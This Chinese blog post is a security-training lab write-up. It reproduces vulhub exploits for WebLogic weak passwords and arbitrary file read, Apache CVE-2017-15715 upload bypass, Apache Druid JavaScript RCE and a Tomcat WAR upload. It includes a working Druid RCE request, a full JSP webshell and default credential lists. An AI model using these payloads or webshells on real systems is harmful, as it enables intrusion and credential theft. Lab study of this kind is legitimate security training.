实训第八天

1.在vps安装docker和docker-compose

docker安装

apt install docker.io		#安装
docker -v					#查看版本

docker-compose安装

pip install docker-compose	#安装
docker-compose -v			#查看版本

注:安装后需要更新配置源

在这里插入图片描述

2.复现

以下实验使用的均是vps上搭建的vulhub靶场

weblogic 弱口令+任意文件读取

背景

weblogic默认后台地址http://ip:7001/console存在弱口令,可以通过弱口令爆破登录后台

复现

1.使用弱口令登录后台

常见弱口令

system:password     
weblogic:weblogic   
admin:secruity
joe:password     
mary:password    
system:sercurity
wlcsystem:wlcsystem     
weblogic:Oracle@123

口令:weblogic:Oracle@123

进入后台
在这里插入图片描述

2.如果没有爆破出密码,仍存在一个未授权的任意文件读取漏洞读取密码

漏洞路径

http://ip:7001/hello/file.jsp?path=[filepath]

可以直接下载filepath的文件,这里以/etc/passwd为例,访问

http://ip:7001/hello/file.jsp?path=/etc/passwd

浏览器会将该文件下载下来
在这里插入图片描述

同理我们可获取weblogic的后台密码文件

weblogic密码使用AES加密,只需要找到加密时的密钥与用户的密文即可解密,这两个文件均位于base_domain下,分别是SerializedSystemIni.datconfig.xml

3.读取密码文件(由于.dat是二进制文件,浏览器直接下载可能会引入一些干扰字符,可以采取burp来读取,选中响应包中乱码复制成文件即可):

http://ip::7001/hello/file.jsp?path=security/SerializedSystemIni.dat

在这里插入图片描述

将该乱码保存为pass

http://ip::7001/hello/file.jsp?path=config/config.xml

在响应包中寻找后的aes加密值,即为加密后的密码

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

4.解密

密文为{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=,密钥为pass

这里使用工具为https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt

解得密码Oracle@123
在这里插入图片描述

apache 换行解析

路径:/vulhub/httpd/CVE-2017-15715

背景

在apache2.4.0-2.4.29版本中存在一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单

注:如果上传文件的php程序是设置的白名单,那么这个漏洞将无法利用

复现

1.打开靶场http:ip:8080

发现是一个文件上传界面,应该是上传木马连接
在这里插入图片描述

2.上传木马

先上传一个普通一句话木马,回显bad file,说明被检测,使用burp抓上传包放到重放器,响应包切换到16进制,在evil.php后面添加0a,上传
在这里插入图片描述

发现页面无回显,说明上传成功

使用antsword连接http://ip:8080/evil.php%0A,密码为cmd,连接成功
在这里插入图片描述

apache druid RCE

背景

Apache Druid是美国阿帕奇软件(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库,在Apache Druid 0.20.0和更早的版本存在访问控制错误漏洞,该漏洞允许经过身份验证的用户强制Druid运行用户提供的JavaScript代码,并执行服务器进程特权的代码

复现

这里采用虚拟机搭建环境,访问http://ip:8888,成功访问如下
在这里插入图片描述

burp发送以下数据

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.44.138:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 913

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"])处替换id为自己想执行的命令
在这里插入图片描述

可看到响应回显id

tomcat 弱口令+后台文件上传getshell

路径:vulhub/tomcat/tomcat8

背景

攻击者可通过tomcat弱口令登录管理后台,通过文件上传功能上传木马进行连接利用

复现

访问http://ip:8080进入主页,点击右侧manager app,进入后台登录界面
在这里插入图片描述

输入弱口令(或者工具爆破),得到口令tomcat:tomcat,成功进入后台

在这里插入图片描述

下面的war file to deploy处可以上传war包,这里打包一个jsp木马文件上传

test.jsp

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

打包命令:

jar cvf test.war test.jsp

上传文件
在这里插入图片描述

可以看到最下面出现了上传的test

在这里插入图片描述

antsword连接http://ip:8080/test/test.jsp,密码为passwd
在这里插入图片描述

连接成功

3.总结RCE漏洞的原理和利用条件及解决方案
原理

RCE指目标程序被远程执行了未经授权的指令,由于应用运行需要,应用会调用一些执行系统命令的函数,当这些函数的参数能被用于所控制,并且开发人员并没有对参数进行严格过滤时,攻击者就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击

利用条件

1.系统调用了能够执行系统命令的函数

如:

eval(),assert(),preg_replace(),call_user_func()
system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open()

2.这个函数的参数可控(即用户能够控制)
3.开发人员没有对该函数的参数进行过滤或过滤不严

解决方案

1.各种框架、插件等位置都有可能出现命令执行,升级到新版本,多打补丁
2.可以过滤一些符号从而减少一些危险
3.安全配置好 PHP 相关参数
4.严格控制传入变量,严禁使用魔法函数

如:

eval(),assert(),preg_replace(),call_user_func()
system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open()

2.这个函数的参数可控(即用户能够控制)
3.开发人员没有对该函数的参数进行过滤或过滤不严

解决方案

1.各种框架、插件等位置都有可能出现命令执行,升级到新版本,多打补丁
2.可以过滤一些符号从而减少一些危险
3.安全配置好 PHP 相关参数
4.严格控制传入变量,严禁使用魔法函数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值